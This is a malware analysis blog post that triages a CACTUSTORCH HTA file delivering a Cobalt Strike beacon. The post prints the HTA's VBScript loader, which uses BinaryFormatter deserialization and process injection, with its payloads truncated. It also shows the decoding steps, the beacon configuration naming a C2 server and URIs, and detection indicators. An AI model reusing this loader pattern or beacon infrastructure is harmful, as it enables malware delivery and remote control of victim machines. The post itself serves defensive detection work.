Analyzing a CACTUSTORCH HTA Leading to Cobalt Strike
There are loads of different ways adversaries can distribute Cobalt Strike beacons and other malware. One of the common methods includes using HTML Application (HTA) files. In this post I’m going to look at a malicious HTA file created using CACTUSTORCH and designed to distribute a Cobalt Strike beacon. If you want to follow along at home, the sample is in MalwareBazaar here: https://bazaar.abuse.ch/sample/4d4d70e1918494a0a39641bd8dbfc23ae6451f3d20396b43f150623b8cfe4e93/
Triaging the File
MalwareBazaar tags say the file is a HTA, and we can use file
and head
to confirm this.
1
2
3
4
5
6
7
remnux@remnux:~/cases/hta-cs$ file 1234.hta
1234.hta: HTML document, ASCII text, with very long lines, with CRLF line terminators
remnux@remnux:~/cases/hta-cs$ head -c 100 1234.hta
<script language="VBScript">
Dim binary : binary = "notepad.exe"
Dim code : code = "TVroAAAAAFuJ31
Alrighty then, it looks like file
thinks the sample is a HTML document (containing HTML tags). The head
command shows us the first 100 bytes here, and it looks like the file does contain at least one script
HTML tag.
Let’s take a look at the content!
Analyzing the HTA Content
I’ve included the contents of the HTA below, truncating a lot of base64 code that was included so we can see the good stuff.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<script language="VBScript">
Dim binary : binary = "notepad.exe"
Dim code : code = "TVroAAAAAFuJ31J..."
Sub Debug(s)
End Sub
Sub SetVersion
End Sub
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
Set ms = CreateObject("System.IO.MemoryStream")
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
ms.Position = 0
Set Base64ToStream = ms
End Function
Sub Run
Dim s, entry_class
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s & "AwAAAAhEZWx..."
entry_class = "cactusTorch"
Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.flame binary,code
End Sub
SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
Debug Err.Description
Err.Clear
End If
self.close
</script>
When looking at the sample there are a few things that stand out. First, there are two large chunks of base64 code in the file. The filesize of the HTA is around 287 KiB, which is really hefty for a text file. When you have plaintext files that large, we can usually assume there are obfuscation schemes or binary/shellcode content embedded. In this case, the strings and variable names are too neat and not scrambled, so obfuscation is out. The first base64 chunk starts with TVro
, which decodes to a MZ
header seen with Windows EXEs.
The second big thing that stands out is binary = "notepad.exe"
. This is a quick and simple indicator for our analysis. Process names like this in malicious code typically mean that the malicious binary content will be saved and executed as the process name or injected into a process of the same name. If the name is a legitimate Windows binary I tend to lean toward the latter case of injection.
Finally, entry_class = "cactusTorch"
is significant. This line of code leads us to the CACTUSTORCH project’s HTA template. CACTUSTORCH is a project to embed Cobalt Strike beacons into script content such as HTA and VBS files. Thankfully, the template gives us a head start on analysis. The second base64 chunk is static content and the first looks to be variable content containing the actual payload. With that in mind, let’s extract the payload.
Decoding the Payload
To decode the payload, we can place all the base64 content into its own file and then use the base64 -d
command to get the cleartext payload.
1
2
3
4
5
6
7
remnux@remnux:~/cases/hta-cs$ cat payload.b64 | base64 -d > payload.bin
remnux@remnux:~/cases/hta-cs$ file payload.bin
payload.bin: MS-DOS executable PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
remnux@remnux:~/cases/hta-cs$ md5sum payload.bin
86a7eaba09313ab6b4a01a5e6d573acc payload.bin
By searching for the MD5 hash on VirusTotal we can see someone’s already reported the beacon executable content and a load of vendors detect it as Cobalt Strike. Let’s squeeze some more indicators from this beacon using 1768.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
remnux@remnux:~/cases/hta-cs$ 1768.py payload.bin
File: payload.bin
payloadType: 0x10014a34
payloadSize: 0x00000000
intxorkey: 0x00000000
id2: 0x00000000
Config found: xorkey b'.' 0x0002fe20 0x00033000
0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port 0x0001 0x0002 12342
0x0003 sleeptime 0x0002 0x0004 60000
0x0004 maxgetsize 0x0002 0x0004 1048576
0x0005 jitter 0x0001 0x0002 0
0x0006 maxdns 0x0001 0x0002 255
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d00308189028181009352527b27bf73fcc92457cf8cb1894ebd1104da185d18dceb28f159d74958d0ae657a003eba6e49c44484682d30a0381298e1ab921d608b3fda43077ab46e268a1160a62d2821b7f0bba5d96c4ea08581b2bb617bf80e5389f454cef53460b5e32bbf045b5d978631f1e0aa29305fc0b4e02e786c1f888d83997c0dceb043bf020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 '42.193.229.33,/j.ad'
0x0009 useragent 0x0003 0x0080 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
0x000a post-uri 0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions 0x0003 0x0100
Transform Input: [7:Input,4]
Print
0x000c http_get_header 0x0003 0x0100
Build Metadata: [7:Metadata,3,6:Cookie]
BASE64
Header Cookie
0x000d http_post_header 0x0003 0x0100
Const_header Content-Type: application/octet-stream
Build SessionId: [7:SessionId,5:id]
Parameter id
Build Output: [7:Output,4]
Print
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x000f pipename 0x0003 0x0080 (NULL ...)
0x001f CryptoScheme 0x0001 0x0002 0
0x0013 DNS_Idle 0x0002 0x0004 0 0.0.0.0
0x0014 DNS_Sleep 0x0002 0x0004 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 305419896
0x0026 bStageCleanup 0x0001 0x0002 0
0x0027 bCFGCaution 0x0001 0x0002 0
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x0037 EXIT_FUNK 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 0
0x002b process-inject-start-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc 0x0002 0x0004 0
0x002e process-inject-transform-x86 0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64 0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub 0x0003 0x0010 '¥l\x818d¯\x87\x8aL\x10\x08<¡W\x8e\n'
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.0 (max 0x0037)
The most actionable indicators from this output are:
- server,get-uri ‘42.193.229.33,/j.ad’
- port 12342
- useragent ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)’
- post-uri ‘/submit.php’
- spawnto_x86 ‘%windir%\syswow64\rundll32.exe’
- spawnto_x64 ‘%windir%\sysnative\rundll32.exe’
The server, get-uri, set-uri, port, and useragent fields are pretty helpful for network-based detection telemetry. In you can use PCAP, logs, or Netflow evidence to spot one or more of these components. The useragent and post-uri fields will need to be combined with additional data to be effective. The spawnto_* fields are helpful for endpoint-based detection telemetry. You can use Sysmon, EDR, or whatever else to look for suspicious instances of rundll32.exe
with no command line. For this particular threat, we’ll likely see a process ancestry of mshta.exe -> notepad.exe -> rundll32.exe
.
A data point that is less actionable but still interesting is the license-id/watermark. In this case the beacon contains the license-id value 305419896
. This value has been seen in multiple incidents over the last few years, and it corresponds with a leaked version of Cobalt Strike.
Now that we’ve squeezed all those indicators out of the beacon, let’s try and confirm the process ancestry for endpoint detection analytics.
Using a Sandbox Report to Confirm Behavior
Thankfully, a sandbox report for the HTA already exists thanks to VMRay: https://www.vmray.com/analyses/4d4d70e19184/report/overview.html
Looking over at the “Behavior” tab, we can confirm at least part of the ancestry:
So for detection analytics we can look for instances of notepad.exe spawning from mshta.exe to find suspicious behavior for this threat. Thanks for reading!